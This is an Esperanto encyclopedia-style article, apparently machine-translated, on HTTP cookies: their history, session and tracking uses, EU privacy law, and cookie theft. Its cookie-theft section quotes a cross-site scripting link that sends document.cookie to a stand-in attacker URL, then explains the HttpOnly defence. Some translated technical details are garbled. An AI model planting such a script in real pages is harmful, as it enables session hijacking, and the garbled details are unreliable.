Interreta Kuketo: Kio ĝi estas? Difino, Originoj, Tipoj kaj Privateco

Un kuketo aŭ retkuketo (aŭ kuketo, mallongigita kiel atestanto en Kebekio) estas difinita per la HTTP-komunika protokolo kiel sekvenco de informoj senditaj de HTTP-servilo al HTTP-kliento, kiun ĉi-lasta resendas ĉiun fojon kiam la sama HTTP-servilo estas pridemandita sub certaj kondiĉoj.

La kuketo estas la ekvivalento de a malgranda tekstdosiero stokita sur la terminalo de la interreta uzanto. Ekzistantaj de pli ol 20 jaroj, ili permesas al programistoj de retejo stoki uzantajn datumojn por faciligi sian navigadon kaj permesi iujn funkciojn. Kuketoj ĉiam estis pli-malpli polemikaj ĉar ili enhavas restajn personajn informojn, kiuj eble povas esti ekspluataj de triaj partioj.

Ĝi estas sendata kiel HTTP-kapo de la retservilo al la retumilo, kiu resendas ĝin senŝanĝa ĉiufoje kiam ĝi aliras la servilon. Kuketo povas esti uzata por aŭtentikigon, sesio (ŝtata prizorgado), kaj por stoki specifajn informojn pri la uzanto, kiel retejo-preferoj aŭ la enhavo de elektronika aĉetĉaro. La termino kuketo estas derivita de magia kuketo, konata koncepto en UNIX-komputiko, kiu inspiris la ideon kaj nomon de retumkuketoj. Kelkaj alternativoj al kuketoj ekzistas, ĉiu kun siaj propraj uzoj, avantaĝoj kaj malavantaĝoj.

Estante simplaj tekstdosieroj, kuketoj ne estas plenumeblaj. Ili ne estas nek spionprogramoj nek virusoj, kvankam kuketoj de iuj retejoj estas detektitaj de multaj kontraŭvirusaj programoj ĉar ili permesas al uzantoj esti spuritaj kiam ili vizitas plurajn retejojn. 

Plej modernaj retumiloj permesas al uzantoj decidi ĉu akcepti aŭ malakcepti kuketojn. Uzantoj ankaŭ povas elektu kiom longe konserviĝas kuketoj. Tamen, la kompleta malakcepto de kuketoj faras iujn retejojn neuzeblaj. Ekzemple, stoku aĉetĉarojn aŭ retejojn, kiuj postulas ensaluti uzante akreditaĵojn (uzantnomo kaj pasvorto).

historique

La termino kuketo devenas de la angla termino magia kuketo, kiu estas pako da datumoj kiujn programo ricevas kaj resendas senŝanĝe. Kuketoj jam estis uzataj en IT kiam Lou Montulli havis la ideon uzi ilin en interretaj komunikadoj en junio 1994. En tiu tempo, li estis dungita fare de Netscape Communications, kiu evoluigis e-komercan aplikiĝon por kliento. Kuketoj donis solvon al la problemo de la fidindeco de la virtuala aĉetĉarefektivigo de vendejo.

John Giannandrea kaj Lou Montulli skribis la unuan kukspecifon de Netscape tiun saman jaron. Versio 0.9 betao de Mosaic Netscape, publikigita la 13-an de oktobro 1994, integris teknologio de kuketoj (vidu afiŝon). La unua (ne-eksperimenta) uzo de kuketoj estis determini ĉu vizitantoj de la retejo Netscape vizitis la retejon antaŭe. Montulli arkivis patentpeton por kuketoteknologio en 1995, kaj usona patento 5774670 estis koncedita. koncedita en 1998.

Post estado efektivigita en Netscape 0.9 betao en 1994, kuketoj estis integrigitaj en Internet Explorer 2, publikigita en oktobro 1995.

La enkonduko de kuketoj ankoraŭ ne estis vaste konata de la publiko. Precipe, kuketoj estis akceptitaj defaŭlte en retumila agordo, kaj uzantoj ne estis informitaj pri sia ĉeesto. Iuj homoj konsciis pri la ekzisto de kuketoj ĉirkaŭ la unua trimonato de 1995, sed la ĝenerala publiko ekestis nur post kiam la Financial Times publikigis artikolon la 12-an de februaro 1996. En la sama jaro, kuketoj ricevis multe da amaskomunikila atento. pro eblaj privatecaj entrudiĝoj. La temo de kuketoj estis diskutita en du konsultoj de la Usona Federacia Komerca Komisiono en 1996 kaj 1997.

La evoluo de la oficiala kuketospecifo jam estis survoje. La unuaj diskutoj pri la oficiala specifo okazis en aprilo 1995 en la dissendolisto www-talk. Speciala laborgrupo de IETF estis formita. Du alternativaj proponoj por enkonduki ŝtaton al HTTP-transakcioj estis proponitaj fare de Brian Behlendorf kaj David Kristol respektive, sed la grupo, gvidita fare de Kristol mem, decidis utiligi la specifon de Netscape kiel deirpunkton. En februaro 1996, la laborgrupo determinis ke triapartneraj kuketoj estis signifa minaco al privateco. La specifo produktita fare de la grupo estis poste publikigita kiel RFC 2109.

De la fino de 2014, ni vidas standardon pri kuketoj en multaj retejoj. Estas almenaŭ unu retumila etendo kiu permesas la standardo ne montrita.

Tipoj de Kuketoj kaj Uzoj

Administrado de sesio

Kuketoj povas esti uzataj por konservi uzantajn datumojn dum navigado, sed ankaŭ dum pluraj vizitoj. Kuketoj estis enkondukitaj por provizi rimedon por efektivigi elektronikajn aĉetĉarojn, virtualan aparaton en kiu la uzanto povas amasigi la erojn kiujn li volas aĉeti dum foliumado de la retejo.

Nuntempe, aplikaĵoj kiel aĉetĉaroj anstataŭe stokas la liston de eroj en datumbazo sur servilo, kio estas preferinda; ol konservi ilin en la kuketo mem. La retservilo sendas kuketon enhavantan unikan sean ID. La retumilo tiam resendas ĉi tiun sean ID al ĉiu posta peto kaj la eroj en la korbo estas konservitaj kaj asociitaj kun ĉi tiu sama unika seanca ID.

Ofta uzo de kuketoj estas utila por ensaluti retejon uzante akreditaĵojn. Resume, la retservilo unue sendas kuketon enhavantan unikan sean ID. Tiam uzantoj provizas siajn akreditaĵojn (kutime uzantnomo kaj pasvorto). La TTT-aplikaĵo tiam aŭtentikigas la sesion kaj permesas al la uzanto aliri la servon.

personigo

Kuketoj povas esti uzataj por memori informojn pri la uzanto de retejo, por montri al li taŭgan enhavon estonte. Ekzemple, retservilo povas sendi kuketon enhavantan la lastan uzantnomon uzatan por ensaluti al tiu retejo, tiel ke tiu uzantnomo povas esti antaŭplenigita dum estontaj vizitoj.

Multaj retejoj uzas kuketojn por personigo surbaze de uzantpreferoj. Uzantoj elektas siajn preferojn en formo kaj sendas tiujn al la servilo. La servilo kodas la preferojn en kuketo kaj resendas ĝin al la retumilo. Poste, ĉiufoje kiam la uzanto aliras paĝon de ĉi tiu retejo, la retumilo resendas la kuketon kaj sekve la liston de preferoj; la servilo tiam povas personecigi la paĝon laŭ la preferoj de la uzanto. Ekzemple, la retejo de Vikipedio permesas al siaj uzantoj elekti la haŭton de la retejo, kiun ili preferas. La Guglo-serĉilo permesas al siaj uzantoj (eĉ se ili ne estas registritaj) elekti la nombron da rezultoj, kiujn ili volas vidi en ĉiu rezulto-paĝo.

Spurado

Spuraj kuketoj estas uzataj por spuri la retumajn kutimojn de interretaj uzantoj. Ĉi tio ankaŭ povas esti farita delvis uzante la IP-adreson de la komputilo faranta peton por paĝo aŭ uzante la "referencan" HTTP-kapon, kiun la kliento sendas kun ĉiu peto, sed kuketoj permesas pli grandan precizecon. Ĉi tio povas esti farita kiel en la sekva ekzemplo:

1. Se la uzanto vokas paĝon sur retejo, kaj la peto ne enhavas kuketon, la servilo supozas, ke ĉi tiu estas la unua paĝo vizitata de la uzanto. La servilo tiam kreas hazardan ĉenon kaj sendas ĝin al la retumilo kune kun la petita paĝo.
2. De ĉi tiu momento, la kuketo estos aŭtomate sendita de la retumilo ĉiufoje kiam nova paĝo de la retejo estas vokita. La servilo sendos la paĝon kiel kutime, sed ankaŭ ensalutos la URL de la nomita paĝo, la daton, horon de la peto kaj la kuketon en protokoldosiero.

Rigardante la protokoldosieron, tiam eblas vidi kiujn paĝojn la uzanto vizitis kaj en kiu ordo. Ekzemple, se la dosiero enhavas kelkajn petojn faritajn per la kuketo id=abc, tio povas konstati, ke ĉiuj ĉi tiuj petoj venas de la sama uzanto. La URL petita, la dato kaj horo asociitaj kun la petoj permesas spuri la foliumadon de la uzanto.

Triaj kuketoj kaj interretaj signoj, klarigitaj malsupre, aldone ebligas spuradon tra malsamaj retejoj. Ununura retejo-spurado estas ĝenerale uzata por statistikaj celoj. Kontraste, spurado tra malsamaj retejoj uzantaj triajn kuketojn estas ĝenerale uzata de reklamadkompanioj por produkti anonimajn uzantprofilojn (kiuj tiam estas uzataj por determini kiuj reklamoj devas esti montritaj al la uzanto kaj ankaŭ por sendi al li retpoŝtojn respondajn al ĉi tiuj reklamoj - SPAM) ).

Spurado de kuketoj estas risko de invado de uzanta privateco sed ili povas esti facile forigitaj. Plej modernaj retumiloj inkluzivas eblon por aŭtomate forigi konstantajn kuketojn kiam oni fermas la aplikaĵon.

Triaj kuketoj

Bildoj kaj aliaj objektoj enhavitaj en retpaĝo povas loĝi sur serviloj malsamaj ol tiu gastiganta la paĝon. Por montri la paĝon, la retumilo elŝutas ĉiujn ĉi tiujn objektojn. Plej multaj retejoj enhavas informojn de malsamaj fontoj. Ekzemple, se vi tajpas www.example.com en vian retumilon, ofte estos objektoj aŭ reklamoj sur parto de la paĝo kiuj venas de malsamaj fontoj, t.e. de malsama domajno ol www. .example.com. "Unuaj" kuketoj estas kuketoj agordita de la domajno listigita en la adresbreto de la retumilo. Triaj kuketoj estas fiksitaj de unu el la paĝaj objektoj, kiuj venas de malsama domajno.

Defaŭlte, retumiloj kiel Mozilla Firefox, Microsoft Internet Explorer kaj Opera akceptas triapartajn kuketojn, sed uzantoj povas ŝanĝi la agordojn en retumiloj por bloki ilin. Ne ekzistas sekureca risko ene de triapartaj kuketoj, kiuj ebligas retajn funkciojn, tamen ili ankaŭ estas uzataj por spuri uzantojn. de ejo al ejo.

Iloj kiel Ghostery disponeblaj por ĉiuj retumiloj inkluzive de Google Chrome povas bloki interŝanĝojn inter triaj partioj.

Efektivigo

Kuketoj estas malgrandaj datumoj senditaj de la retservilo al la retumilo. La retumilo resendas ilin senŝanĝe al la servilo, enkondukante staton (memoro de pasintaj eventoj) en la alie sennacian HTTP-transakcion. Sen kuketoj, ĉiu retrovo de retpaĝo aŭ komponanto de retpaĝo estas izolita evento, sendepende de aliaj petoj faritaj al la sama retejo. Krom povi esti agorditaj de la retservilo, kuketoj ankaŭ povas esti agorditaj per skriptlingvoj kiel JavaScript, se subtenataj kaj rajtigitaj de la retumilo.

La oficiala specifo de kuketoj sugestas, ke retumiloj povu konservi kaj resendi minimuman nombron da kuketoj. Specife, retumilo devus povi stoki almenaŭ 300 kuketojn po kvar kilobajtoj, kaj almenaŭ 20 kuketojn por ununura servilo aŭ domajno.

Laŭ sekcio 3.1 de RFC 2965, kuketnomoj estas majuskloj.

Kuketo povas specifi la daton de sia eksvalidiĝo, en kiu kazo la kuketo estos forigita en ĉi tiu dato. Se la kuketo ne specifas limdaton, la kuketo estas forigita tuj kiam la uzanto forlasas sian retumilon. Tial, specifi limdaton estas maniero igi la kuketon pluvivi tra pluraj sesioj. Tial, kuketoj kun limdato laŭdire estas persista. Ekzempla aplikaĵo: podetala retejo povus uzi konstantajn kuketojn por registri la erojn, kiujn uzantoj metis en sian aĉetĉareton (en realeco, la kuketo povus rilati al eniro konservita en datumbazo en la vendejo, kaj ne en via komputilo) . Per ĉi tiu rimedo, se uzantoj forlasas sian retumilon sen fari aĉeton kaj revenos al ĝi poste, ili povos denove trovi la erojn en la ĉaro. Se ĉi tiuj kuketoj ne donus limdaton, ili eksvalidiĝus kiam la retumilo estus fermita, kaj la informoj pri la enhavo de la korbo perdiĝus.

Kuketoj povas esti limigitaj en amplekso al specifa domajno, subdomajno aŭ vojo sur la servilo kiu kreis ilin.

Kreado de kuketo

La translokigo de retpaĝoj estas farita per la HyperText Transfer Protocol (HTTP). Ignorante kuketojn, retumiloj vokas paĝon de retserviloj ĝenerale sendante al ili mallongan tekston nomitan HTTP-peto. Ekzemple, por aliri la paĝon www.example.org/index.html, retumiloj konektas al la servilo www.example.org kaj sendas peton, kiu aspektas jene:

	GET /index.html HTTP/1.1Gastiganto: www.example.org
naviganto	→	serveur

La servilo respondas sendante la petitan paĝon, antaŭita de simila teksto, la tuton vokita HTTP-respondo. Ĉi tiu pako povas enhavi liniojn instrukcias la retumilon stoki kuketojn:

	HTTP/1.1 200 OKEnhavo-tipo: teksto/htmlSet-Cookie: nomo=valoro (HTML-paĝo)
naviganto	←	serveur

La servilo nur sendas la linion Set-Cookie, se la servilo volas, ke la retumilo stoku kuketon. Set-Cookie estas peto por la retumilo stoki la nomo=valora ĉeno kaj resendi ĝin en ĉiuj estontaj petoj al la servilo. Se la retumilo subtenas kuketojn kaj kuketoj estas ebligitaj en la retumilo-opcioj, la kuketo estos inkluzivita en ĉiuj postaj petoj faritaj al la sama servilo. Ekzemple, la retumilo vokas la paĝon www.example.org/news.html sendante la jenan peton al la servilo www.example.org:

	GET /news.html HTTP/1.1Gastiganto: www.example.orgKuketo: nomo=valoroAkceptu: */*
naviganto	→	serveur

Ĉi tio estas peto por alia paĝo de la sama servilo, kaj diferencas de la unua supre ĉar ĝi enhavas ĉenon, kiun la servilo antaŭe sendis al la retumilo. Danke al ĉi tiu rimedo, la servilo scias, ke ĉi tiu peto estas ligita al la antaŭa. La servilo respondas sendante la nomitan paĝon, kaj ankaŭ aldonante aliajn kuketojn al ĝi.

La valoro de la kuketo povas esti ŝanĝita de la servilo sendante novan linion Set-Cookie: nomo=nova_valoro en respondo al la nomita paĝo. La retumilo tiam anstataŭigas la malnovan valoron per la nova.

La linio Set-Cookie estas kutime kreita de CGI-programo aŭ alia skriptlingvo, ne de la HTTP-servilo. La HTTP-servilo (ekzemplo: Apache) nur transdonos la rezulton de la programo (dokumento antaŭita de la kaplinio enhavanta la kuketojn) al la retumilo.

Kuketoj ankaŭ povas esti agorditaj per JavaScript aŭ aliaj similaj lingvoj kurantaj en la retumilo, t.e. ĉe la klienta flanko prefere ol la servila flanko. En JavaScript, la objekto document.cookie estas uzata tiucele. Ekzemple, la deklaro document.cookie = "temperaturo=20" kreas kuketon nomitan "temperaturo" kaj kun valoro de 20.

Atributoj de kuketo

Krom la nomo/valora paro, kuketo ankaŭ povas enhavi limdaton, vojon, domajnan nomon kaj la tipon de konekto celita, t.e. normala aŭ ĉifrita. RFC 2965 ankaŭ difinas ke kuketoj devas havi devigan version-numeron, sed ĉi tio estas ĝenerale preterlasita. Ĉi tiuj datumpartoj sekvas la paron nomo=nova_valoro kaj estas apartigitaj per punktokomoj. Ekzemple, kuketo povas esti kreita de la servilo sendante linion Set-Cookie: nomo=nova_valoro; eksvalidiĝas=dato; vojo=/; domajno=.ekzemplo.org.

Eksvalidiĝo de kuketo

Kuketoj eksvalidiĝas kaj tiam ne estas senditaj de la retumilo al la servilo en la sekvaj situacioj:

• Kiam la retumilo estas fermita, se la kuketo ne estas konstanta.
• Kiam la limdato de kuketo pasis.
• Kiam la limdato de kuketo estas ŝanĝita (per la servilo aŭ la skripto) al dato en la pasinteco.
• Kiam la retumilo forigas la kuketon laŭ peto de la uzanto.

La tria situacio permesas al serviloj aŭ skriptoj eksplicite forigi kuketon. Notu, ke per la retumilo Google Chrome eblas scii la limdaton de aparta kuketo alirante la enhavajn agordojn. Kuketo konservita en komputilo povas tre bone resti tie dum pluraj jardekoj se neniu proceduro estas prenita por forigi ĝin.

Stereotipoj

Ekde ilia enkonduko en la Interreto, multaj ideoj pri kuketoj cirkulis en la Interreto kaj en la amaskomunikiloj. En 1998, CIAC, United States Department of Energy computer incident monitoring team, determinis ke kuketaj sekurecaj vundeblecoj estis "esence neekzistantaj" kaj klarigis ke "informoj pri la origino de viaj vizitoj kaj la detaloj de la retpaĝoj kiujn vi vizitis. jam ekzistas en la protokolaj dosieroj de la retserviloj”. En 2005, Jupiter Research publikigis la rezultojn de studo, en kiu signifa procento de respondantoj konsideris la sekvajn deklarojn:

• Kuketoj estas kiel viruso, ili infektas malmolajn diskojn de uzantoj.
• Kuketoj generas aperigi.
• Kuketoj estas uzataj por sendi spamado.
• Kuketoj estas uzataj nur por reklamado.

Kuketoj ne povas forigi aŭ legi informojn de la komputilo de la uzanto. Tamen kuketoj ebligas detekti la retpaĝojn vizitatajn de uzanto en difinita retejo aŭ aro da retejoj. Ĉi tiuj informoj povas esti kolektitaj en uzantprofilo, kiu povas esti uzata aŭ revendita al triaj partioj, kio povas kaŭzi seriozajn privatecajn problemojn. Iuj profiloj estas anonimaj, en la senco ke ili enhavas neniujn personajn informojn, tamen eĉ tiaj profiloj povas esti pridubeblaj.

Laŭ la sama studo, granda procento de interretaj uzantoj ne scias kiel forigi kuketojn. Unu el la kialoj, kial homoj ne fidas kuketojn, estas ke iuj retejoj misuzis la persone identigan aspekton de kuketoj kaj dividis ĉi tiujn informojn kun aliaj fontoj. Granda procento de celita reklamado kaj nepetita retpoŝto, konsiderata spamo, venas de informoj akiritaj de spurado de kuketoj.

Agordoj de retumilo

Plej multaj retumiloj subtenas kuketojn kaj permesas al la uzanto malŝalti ilin. La plej oftaj elektoj estas:

• Ebligu aŭ malŝaltu kuketojn tute, por ke ili estu konstante akceptitaj aŭ blokitaj.
• Permesu al la uzanto vidi la aktivajn kuketojn en difinita paĝo, enigante javascript: alert(document.cookie) en la adresbreto de la retumilo. Iuj retumiloj korpigas kuketojn por la uzanto, kiu povas vidi kaj elekte forigi kuketojn nuntempe konservitajn de la retumilo.

Plej multaj retumiloj ankaŭ permesas plenan forigon de personaj datumoj, kiuj inkluzivas kuketojn. Pliaj moduloj por kontroli kuketajn permesojn ankaŭ ekzistas.

Privateco kaj Triaj Kuketoj

En ĉi tiu fikcia ekzemplo, reklamfirmao metis standardojn sur du retejoj. Gastigante la standardojn sur ĝiaj serviloj kaj uzante triajn kuketojn, la reklama kompanio povas spuri la navigadon de la uzanto tra ĉi tiuj du retejoj.

Kuketoj havas gravajn implicojn por la privateco kaj anonimeco de retuzantoj. Kvankam kuketoj estas nur resenditaj al la servilo kiu starigis ilin aŭ al servilo apartenanta al la sama interreta domajno, retpaĝo tamen povas enhavi bildojn aŭ aliajn komponantojn konservitajn en serviloj apartenantaj al aliaj domajnoj. La kuketoj, kiuj estas starigitaj dum la reakiro de ĉi tiuj eksteraj komponantoj, estas nomitaj triaj kuketoj. Ĉi tio inkluzivas kuketojn de nedezirataj ŝprucfenestroj.

Reklamaj kompanioj uzas triajn kuketojn por spuri uzantojn tra la malsamaj retejoj, kiujn ili vizitas. Aparte, reklamfirmao povas spuri uzanton tra ĉiuj paĝoj kie ĝi metis reklamajn bildojn aŭ spuran pikselon. Scio pri la paĝoj vizititaj de la uzanto permesas al la reklama kompanio celi la reklamajn preferojn de la uzanto.

La kapablo konstrui uzantprofilon estas konsiderata de iuj kiel privateca invado, precipe kiam spurado estas farita tra malsamaj domajnoj per triapartneraj kuketoj. Tial iuj landoj havas leĝaron pri kuketoj.

La usona registaro efektivigis striktajn regulojn pri la allokigo de kuketoj en 2000, post kiam estis rivelita ke la Blanka Doma Drug Policy Office uzis kuketojn por spuri la komputilojn de uzantoj rigardantaj retajn drogreklamojn. En 2002, privatecaktivulo Daniel Brandt malkovris ke la CIA lasis persistajn kuketojn sur komputiloj kiuj vizitis ĝiajn retejojn. Fojo informita pri ĉi tiu rompo, la CIA deklaris, ke ĉi tiuj kuketoj ne estis intence senditaj kaj ĉesis starigi ilin. La 25-an de decembro 2005, Brandt malkovris ke la National Security Agency (NSA) postlasis du persistajn kuketojn sur la komputilojn de vizitantoj pro softvarĝisdatigo. Post sciigo, la NSA tuj malŝaltis kuketojn.

En Britio, la Leĝo pri kuketoj ", validigita la 25-an de majo 2012, devigas la retejojn deklari siajn intencojn, tiel permesante al la uzantoj elekti ĉu ili volas lasi spurojn aŭ ne de sia trairejo en Interreto. Ili povas tiel esti protektitaj kontraŭ reklama celado. Tamen, laŭ la Gardanto, la konsento de interretaj uzantoj ne estas nepre eksplicita; ŝanĝoj estis faritaj al la kondiĉoj de uzantkonsento, farante ĝin tiel implicite.

Direktivo 2002/58 pri privateco

Direktivo 202/58 privateco kaj elektronikaj komunikadoj, enhavas regulojn pri la uzo de kuketoj. Precipe, artikolo 5, paragrafo 3 de ĉi tiu direktivo postulas, ke la konservado de datumoj (kiel ekzemple kuketoj) en la komputilo de la uzanto povas esti farita nur se:

• la uzanto estas informita pri kiel la datumoj estas uzataj;
• la uzanto ricevas la eblon rifuzi ĉi tiun stokan operacion. Tamen ĉi tiu artikolo ankaŭ deklaras, ke la konservado de datumoj pro teknikaj kialoj estas esceptita de ĉi tiu leĝo.

Aplikiĝota ekde oktobro 2003, la direktivo estis tamen nur tre neperfekte efektivigita laŭ raporto de decembro 2004, kiu ankaŭ atentigis, ke iuj membroŝtatoj (Slovakio, Latvio, Grekio, Belgio kaj Luksemburgio) ankoraŭ ne transprenis la direktivo en hejman juron.

Laŭ la opinio de la G29 en 2010, ĉi tiu direktivo, kiu precipe kondiĉas la uzadon de kuketoj por kondutismaj reklamaj celoj, pri la eksplicita konsento de la retumanto restas tre malbone aplikata. Fakte, la plej multaj retejoj faras tion en maniero ne konforma al la direktivo, limigante sin al simpla "standardo" informanta pri la uzo de "kuketoj" sen doni informojn pri la uzoj, sen diferencigi inter "teknikaj" kuketoj. "spuraj" kuketoj, nek proponi veran elekton al la uzanto deziranta konservi teknikajn kuketojn (kiel aĉetĉaretajn administradkuketojn) kaj rifuzi "spurajn" kuketojn. Fakte, multaj retejoj ne funkcias ĝuste se kuketoj estas rifuzataj, kio ne konformas al direktivo 2002/58 aŭ direktivo 95/46 (Protekto de personaj datumoj).

Direktivo 2009/136/CE

Ĉi tiu materialo estis ĝisdatigita per Direktivo 2009/136/EC de la 25-a de novembro 2009, kiu deklaras, ke "stokado de informoj, aŭ akiri aliron al informoj jam konservitaj, en la fina ekipaĵo de abonanto aŭ uzanto estas permesita nur kondiĉe ke la abonanto aŭ uzanto donis sian konsenton, post ricevi, konforme al la Direktivo 95/46/EC, klarajn kaj kompletajn informojn, inter aliaj pri la celoj de la traktado”. La nova direktivo do plifortigas la devojn antaŭ meti kuketojn sur la komputilon de la interreta uzanto.

En la antaŭaj konsideroj de la direktivo, la eŭropa leĝdonanto precizigas tamen: "Kie teknike ebla kaj efika, laŭ la koncernaj dispozicioj de la Direktivo 95/46/EC, la konsento de la uzanto koncerne la prilaboradon povas esti esprimita per la uzo de la taŭgaj agordoj de retumilo aŭ alia aplikaĵo”. Sed fakte neniu retumilo ĝis nun ebligas disigi la esencajn teknikajn kuketojn de la laŭvolaj, kiuj devus esti lasitaj al la elekto de la uzanto.

Tiu nova direktivo estis transigita de belgaj parlamentanoj en julio 2012. Studo (2014) montras ke eĉ parlamentanoj luktas por apliki la limoj de la direktivo.

P3P

La P3P-specifo inkluzivas la kapablon por servilo deklari privatecan politikon, kiu difinas kian informon ĝi kolektas kaj por kiu celo. Ĉi tiuj politikoj inkluzivas (sed ne estas limigitaj al) la uzadon de informoj kolektitaj per kuketoj. Laŭ la difinoj de P3P, retumilo povas akcepti aŭ malakcepti kuketojn komparante la privatecajn politikojn kun la preferoj de la uzanto aŭ demandante la uzanton, prezentante la privatecan politikon pri privateco deklarita de la servilo.

Multaj retumiloj, inkluzive de Apple Safari kaj Microsoft Internet Explorer versioj 6 kaj 7, subtenas P3P kiu permesas al la retumilo determini ĉu akcepti tripartian kuketon-stokadon. La retumilo Opera permesas al uzantoj rifuzi kuketojn de triapartoj kaj krei tutmondan kaj specifan sekurecan profilon por interretaj domajnoj. Mozilla Firefox versio 2 faligis P3P-subtenon sed reinstalis ĝin en versio 3.

Triaj kuketoj povas esti blokitaj de plej multaj retumiloj por pliigi privatecon kaj redukti reklaman spuradon, sen negative influi la retejon de la uzanto. Multaj reklam-agentejoj ofertas eblon elekti al celita reklamado, per agordo de generika kuketo en la retumilo, kiu malaktivigas ĉi tiun celadon, sed tia solvo ne estas praktike efika, kiam ĝi estas respektata, ĉar ĉi tiu generika kuketo estas forigita tuj kiam la uzanto forigas ĉi tiujn kuketojn, kio nuligas la elekton. el decido.

Malavantaĝoj de kuketoj

Krom privatecaj problemoj, kuketoj ankaŭ havas iujn teknikajn malavantaĝojn. Aparte, ili ne ĉiam precize identigas uzantojn, ili povas malrapidigi la agadon de la retejo kiam en granda nombro, ili povas esti uzataj por sekurecaj atakoj, kaj ili konfliktas kun la reprezenta ŝtata translokigo, arkitektura stilo de la programaro.

Nepreciza identigo

Se pli ol unu retumilo estas uzata en komputilo, en ĉiu el ili ĉiam estas aparta konserva unuo por kuketoj. Kuketoj do ne identigas homon, sed la kombinaĵon de uzantkonto, komputilo kaj retumilo. Tiel, ĉiu povas uzi ĉi tiujn kontojn, komputilojn aŭ retumiloj, kiuj havas la panoplion de kuketoj. Simile, kuketoj ne diferencigas inter multoblaj uzantoj kiuj kunhavas la saman uzantkonton, komputilon kaj retumilon, kiel ekzemple en "retkafejoj" aŭ iu ajn loko donanta liberan aliron al komputilaj rimedoj.

Sed praktike tiu ĉi aserto montriĝas miskomprenebla en la plimulto de kazoj ĉar hodiaŭ "persona" komputilo (aŭ saĝtelefono, aŭ tablojdo, kio estas pli malbona) estas uzata ĉefe de unuopa individuo, tio signifas celi specifan personon kaj tra la kvanto de informoj kolektitaj alvenu al personecigita celado eĉ se la persono ne estas "nome" identigita.

Ŝtelo de kuketoj

Kuketo povas esti ŝtelita de alia komputilo en la reto.

Dum normala funkciado, kuketoj estas resenditaj inter la servilo (aŭ grupo de serviloj en la sama domajno) kaj la komputila retumilo de la uzanto. Ĉar kuketoj povas enhavi sentemajn informojn (uzantnomo, pasvorto uzata por aŭtentigo, ktp.), iliaj valoroj ne devus esti alireblaj por aliaj komputiloj. Kuketoŝtelo estas ago de interkapto de kuketoj fare de neaŭtorizita tria partio.

Kuketoj povas esti ŝtelitaj per pakaĵeto en atako nomita sesiokaptado. Trafiko en la reto povas esti kaptita kaj legita de komputiloj krom tiuj sendantaj kaj ricevantaj (precipe sur la neĉifrita publika WiFi-spaco). Ĉi tiu trafiko inkluzivas kuketojn senditajn dum sesioj per la simpla HTTP-protokolo. Kiam rettrafiko ne estas ĉifrita, malicaj uzantoj povas tiel legi la komunikadojn de aliaj uzantoj en la reto uzante "pakaĵetsniffers".

Ĉi tiu problemo povas esti venkita per ĉifrado de la konekto inter la komputilo de la uzanto kaj la servilo per la HTTPS-protokolo. Servilo povas specifi a sekura flago dum fiksado de kuketo; la retumilo nur sendos ĝin tra sekura linio, kiel SSL-konekto.

Tamen multaj retejoj, kvankam uzante HTTPS-ĉifritan komunikadon por uzantaŭtentigo (t.e. la ensalutpaĝo), poste sendas sesiajn kuketojn kaj aliajn datumojn kiel normale, per neĉifritaj HTTP-konektoj pro efikeckialoj. Atakantoj povas tiel kapti kuketojn de aliaj uzantoj kaj personigi ilin en taŭgaj retejoj aŭ uzi ilin en kuketaj atakoj.

Skripto en la retejo: kuketo, kiu devus esti interŝanĝita nur inter la servilo kaj la kliento, estas sendita al alia tria partio.

Alia maniero ŝteli kuketojn estas skripto retejoj kaj havi la retumilon mem sendu kuketojn al malicaj serviloj, kiuj neniam ricevas ilin. Modernaj retumiloj permesas ekzekuton de serĉataj partoj de kodo de la servilo. Se kuketoj estas aliritaj dum rultempo, iliaj valoroj povas esti komunikitaj en iu formo al serviloj, kiuj ne devus aliri ilin. Ĉifrado de kuketoj antaŭ ol ili estas senditaj tra la reto ne helpas malhelpi la atakon.

Ĉi tiu tipo de retejo-skripto estas kutime uzata de atakantoj en retejoj, kiuj permesas al uzantoj afiŝi HTML-enhavon. Integrante parton de kongrua kodo en la HTML-kontribuon, atakanto povas ricevi kuketojn de aliaj uzantoj. Scio pri ĉi tiuj kuketoj povas esti uzata per konekto al la sama retejo uzante la ŝtelitajn kuketojn, tiel estante rekonita kiel la uzanto, kies kuketoj estis ŝtelitaj.

Unu maniero malhelpi tiajn atakojn estas uzi la HttpOnly flagon; ĝi estas opcio, enkondukita ekde la versio 6 de Internet Explorer en PHP ekde la versio 5.2.0 kiu estas planita por igi la kuketon nealirebla por la kliento proksime al la skripto. Tamen, retejo-programistoj devus konsideri ĉi tion en sia retejo-disvolviĝo por ke ili estu imunaj kontraŭ skripto en la retejo.

Alia sekureca minaco uzata estas postula fabrikado en la retejo.

La oficiala teknika specifo permesas al kuketoj esti resenditaj nur al serviloj en la domajno de kiu ili originis. Tamen, la valoro de kuketoj povas esti sendita al aliaj serviloj per aliaj rimedoj ol kuketaj kaplinioj.

Precipe, skriptlingvoj kiel JavaScript ĝenerale rajtas aliri kuketajn valorojn kaj kapablas sendi arbitrajn valorojn al iu ajn servilo en Interreto. Ĉi tiu skriptkapablo estas uzata de retejoj permesantaj al uzantoj afiŝi HTML-enhavon por ke aliaj uzantoj rigardu.

Ekzemple, atakanto funkcianta sur la domajno example.com povus afiŝi komenton enhavantan la jenan ligon montrante popularan blogon, kiun ili alie ne regas:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Kiam alia uzanto alklakas ĉi tiun ligilon, la retumilo efektivigas la onclick-atributan parton de la kodo, do ĝi anstataŭigas la document.cookie-ĉenon per la listo de uzantkuketoj aktivaj por ĉi tiu paĝo. Tial ĉi tiu listo de kuketoj estas sendita al la servilo example.com, kaj la atakanto do povas kolekti la kuketojn de ĉi tiu uzanto.

Ĉi tiu tipo de atako estas malfacile detektebla ĉe la uzanto, ĉar la skripto venas de la sama domajno, kiu starigis la kuketon, kaj la operacio por sendi la valorojn ŝajnas esti rajtigita de tiu domajno. Oni konsideras, ke estas la respondeco de la administrantoj funkciigantaj ĉi tiun tipon de retejo starigi limigojn malhelpantajn la publikigon de malica kodo.

Kuketoj ne estas rekte videblaj al klientflankaj programoj kiel JavaScript se ili estis senditaj kun la HttpOnly flago. El la vidpunkto de la servilo, la sola diferenco estas, ke en la linio de la kaplinio Set-Cookie estas aldonita nova kampo enhavanta la ĉenon HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

